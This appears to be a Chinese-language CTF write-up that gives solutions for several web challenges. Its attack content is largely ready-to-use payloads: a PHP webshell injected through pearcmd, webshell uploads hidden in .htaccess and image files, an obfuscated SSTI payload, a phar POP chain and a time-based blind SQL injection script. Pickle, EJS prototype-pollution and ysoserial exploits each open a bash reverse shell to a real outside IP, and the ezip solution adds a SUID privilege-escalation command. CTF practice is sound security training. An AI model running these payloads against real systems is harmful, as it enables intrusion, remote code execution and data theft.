目录
phpdest
EasyPHP
SimpleRCE
funny_upload
EasySSTI
middle
PharPOP
ezip
NodeSoEasy
Really Easy SQL&easysql
EzSerial
ljctr
phpdest
尝试打pearcmd,但似乎没有写文件的权限
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/yjh.php
访问/tmp/jyh.php回显404
于是用一个trick
php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
base64解码拿到flag
这题估计也可以打php://input和日志包含,感兴趣可以试一试
EasyPHP
数组传参触发报错拿到flag
ctf[]=1
SimpleRCE
没过滤~
直接取反即可
funny_upload
前端限制禁用js即可
关于后端对文件内容检测的绕过:
文件上传之.htaccess的一些技巧 - FreeBuf网络安全行业门户
先上传对指定文件base64解码包含的.htaccess
#define width 1;
#define height 1;
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=base64yjh.png"
再上传base64编码的恶意图片马
连蚁剑,拿flag
EasySSTI
登录功能测出SSTI
绕过滤即可
读环境变量拿到flag
{%set%0aid=dict(ind=a,ex=a)|join%}{%set%0app=dict(po=a,p=a)|join%}{%set%0ann=dict(n=a)|join%}{%set%0aenv=dict(env=a)|join%}{%set%0appe=dict(po=a,pen=a)|join%}{%set%0att=dict(t=a)|join%}{%set%0agt=dict(ge=a,t=a)|join%}{%set%0aff=dict(f=a)|join%}{%set%0aooqq=dict(o=a,s=a)|join%}{%set%0afive=(lipsum|string|list)|attr(id)(tt)%}{%set%0ard=dict(re=a,ad=a)|join%}{%set%0athree=(lipsum|string|list)|attr(id)(nn)%}{%set%0aone=(lipsum|string|list)|attr(id)(ff)%}{%set%0ashiba=five*five-three-three-one%}{%set%0axiahuaxian=(lipsum|string|list)|attr(pp)(shiba)%}{%set%0agb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0abin=(xiahuaxian,xiahuaxian,dict(built=a,ins=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0aini=(xiahuaxian,xiahuaxian,dict(in=a,it=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0achcr=(lipsum|attr(gb))|attr(gt)(bin)%}{{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(env)|attr(rd)()}}
middle
进来直接拿到源码:
app.py
import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64
app = Flask(__name__)
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/')
def show():
base_dir = os.path.dirname(__file__)
resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
resp.headers["Content-type"] = "text/plain;charset=UTF-8"
return resp
@app.route('/home', methods=['POST', 'GET'])
def home():
data=request.form['data']
User = restricted_loads(base64.b64decode(data))
return str(User)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)
config/__init__.py
import os
def backdoor(cmd):
# 这里我也改了一下
if isinstance(cmd,list) :
s=''.join(cmd)
print("!!!!!!!!!!")
s=eval(s)
return s
else:
print("??????")
显然/home处存在白名单的pickle反序列化
Pickle反序列化 - 枫のBlog
因为只让用config中的module,所以要创建个config包
__init__.py和题目一样就行
import os
def backdoor(cmd):
# 这里我也改了一下
if isinstance(cmd,list) :
s=''.join(cmd)
print("!!!!!!!!!!")
s=eval(s)
return s
else:
print("??????")
main.py生成payload:
因为cmd要为list,所以要特殊构造一下
import pickle
import base64
import config
class payload(object):
def __reduce__(self):
return (config.backdoor, (["os.system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=|base64 -d|bash -i')"],))
a = pickle.dumps(payload())
a = base64.b64encode(a)
print(a)
打入pickle反序列化
反弹shell,命令执行拿flag
PharPOP
D这个类对文件可以写可以读,用来打phar反序列化
别的类打pop链也很容易看,最后涉及到原生反序列化读文件
php原生类利用 | Extraderの博客
glob:// — 查找匹配的文件路径模式
tree.__destruct -> tree.__call -> apple.__get -> air.__set
绕过throw
,throw会阻碍析构函数进行,通过gc垃圾回收提前触发析构函数
绕过waf
,waf过滤了很多关键字,使用gzip
命令处理phar文件
<?php
class air{
public $p;
}
class tree{
public $name;
public $act;
}
class apple {
public $xxx;
public $flag;
}
$a = new tree;
$b = new apple;
$c = new air;
$d = new tree;
// $d->act='FilesystemIterator';
// $c->p = $d;
// $b->xxx = $c;
// $b->flag = 'glob:///*f*';
// $a->name = $b;
$d->act='SplFileObject';
$c->p = $d;
$b->xxx = $c;
$b->flag = "/fflaggg";
$a->name = $b;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();
生成的phar文件在010editor中打开,删去最后一个}
修改签名并压缩phar文件
from hashlib import sha1
f = open('phar.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('fixed_phar.phar', 'wb').write(newf) # 写入新文件
以url编码形式输出文件内容
import urllib.parse
with open("fixed_phar.phar.gz", 'rb') as fi:
f = fi.read()
ff = urllib.parse.quote(f) #获取信息
print(ff)
写入phar文件
0=%1F%8B%08%08%7C%22%1Df%00%03fixed_phar.phar%00s%F7t%B3%B0L%B4%B1/%C8%28P%88%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%D0%B4V%B0%B7%E3%E5z%C8%C0%C0%C0%08%C4%82P%9A%81a5%10%FB%5B%99X%29%95%14%A5%A6%2AY%19YU%17%83xy%89%B9%A9J%D6%FEV%A6VJ%89%05%0590%19c%2B%A5%8A%8A%0A%90%04%90%95%98Y%A4de%08%126%B4R%2A%00%09%E20%C6%CF%1A%AC31%B9D%09%C82%042%83%0Br%DC2sR%FD%93%B2RA%82%B5%B5%60%D5i9%89%E9%20%15%16VJ%FAi%20N%3A%90%5B%8B%D0%EBg%CD%01tmIjq%89%5EIE%09%0B%C8%F9%8A%B2i%20%9A%A7%AE%FE%C66%88%87%C0%F2%CBO%CC%FE%BAh%E5%FC%1B%B2%AD%C9%1A%B7.8%19O%EC9%26%C9%04%94sw%F2u%02%00%15%9D%B7%24%27%01%00%00&1=O:1:"D":2:{s:5:"start";s:1:"w";}
phar协议读文件操作触发phar反序列化拿flag
0=phar:///tmp/96c72754133e4a4d55d0baee6bfdb66a.jpg&1=O:1:"D":2:{s:5:"start";s:1:"r";}
ezip
把🐍图用010editor打开
滑到最后有一段base64
解码得到源码
upload.php
<?php
error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){
if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
echo "hacker!!";
exit;
}
if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
echo "only zip!!";
exit;
}
$Myzip = new zip($_FILES['file']['name']);
mkdir($Myzip->path);
move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
echo "Try to unzip your zip to /".$Myzip->path."<br>";
if($Myzip->unzip()){echo "Success";}else{echo "failed";}
}
zip.php
<?php
class zip
{
public $zip_name;
public $path;
public $zip_manager;
public function __construct($zip_name){
$this->zip_manager = new ZipArchive();
$this->path = $this->gen_path();
$this->zip_name = $zip_name;
}
public function gen_path(){
$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$newchars=str_split($chars);
shuffle($newchars);
$chars_key=array_rand($newchars,15);
$fnstr = "";
for($i=0;$i<15;$i++){
$fnstr.=$newchars[$chars_key[$i]];
}
return md5($fnstr.time().microtime()*100000);
}
public function deldir($dir) {
//先删除目录下的文件:
$dh = opendir($dir);
while ($file = readdir($dh)) {
if($file != "." && $file!="..") {
$fullpath = $dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
$this->deldir($fullpath);
}
}
}
closedir($dh);
}
function dir_list($directory)
{
$array = [];
$dir = dir($directory);
while ($file = $dir->read()) {
if ($file !== '.' && $file !== '..') {
$array[] = $file;
}
}
return $array;
}
public function unzip()
{
$fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
$white_list = ['jpg','png','gif','bmp'];
$this->zip_manager->open($fullpath);
for ($i = 0;$i < $this->zip_manager->count();$i ++) {
if (strstr($this->zip_manager->getNameIndex($i),"../")){
echo "you bad bad";
return false;
}
}
if(!$this->zip_manager->extractTo($this->path)){
echo "Unzip to /".$this->path."/ failed";
exit;
}
@unlink($fullpath);
$file_list = $this->dir_list("/var/www/html/".$this->path."/");
for($i=0;$i<sizeof($file_list);$i++){
if(is_dir($this->path."/".$file_list[$i])){
echo "dir? I deleted all things in it"."<br>";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);
}
else{
if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."<br>";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}
}
}
return true;
}
}
先往yjh.php里写入一句话木马
再如下操作生成压缩包
通过故意将文件名和目录名混用,以及改变一个项目在文件系统中的类型(从文件到目录),来创建一个难以解压的ZIP文件
可以本地试一下
打靶机,解压失败,但是其是在解压出部分文件后直接exit,从而绕过后续的unlink
可以看到成功解压出一句话木马
连接蚁剑,直接读flag权限不够
【Web】超级详细的Linux权限提升一站式笔记_linux提权读取文件-CSDN博客
find / -user root -perm -4000 -print 2>/dev/null
nl有suid权限,可以直接读
NodeSoEasy
用的ejs模板引擎
/目录下存在原型链污染
直接打ejsRCE
关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全客 - 安全资讯平台
文章里payload改一个污染深度就能用
payload:
{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');","compileDebug":true}}
发包用application/json
监听,反弹shell,拿flag
Really Easy SQL&easysql
题目描述是钓鱼网站,用于搜集数据,后端sql处理是insert
时间盲注姿势
payload:
import time
import requests
url = "http://27436a6d-f94e-4aae-b417-b2c7ae9ff377.node5.buuoj.cn:81/index.php"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,{}-']
res = ''
for i in range(1,60):
for j in string:
time.sleep(0.1)
#payload = f"username='or(if((ascii(right((select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
#payload = f"username='or(if((ascii(right((select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='ctf'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
#payload = f"username='or(if((ascii(right((select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='flaggg'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
payload = f"username='or(if((ascii(right((select%a0group_concat(cmd)%a0from%a0ctf.flaggg),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
try:
headers = {'Content-Type':'application/x-www-form-urlencoded'}
requests.post(url=url, data=payload, headers=headers, timeout=1.5)
except:
res = chr(j)+res
print(res)
break
EzSerial
扫目录扫出/admin路由
在Cookie处rO0A起手,明显是java序列化的base64编码,可以打入反序列化
直接拿yso生成一下,打CC5
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.txt
cat payload.txt | base64 -w 0
user处打入paylaod
监听,反弹shell,拿flag
ljctr
神
ljctr wp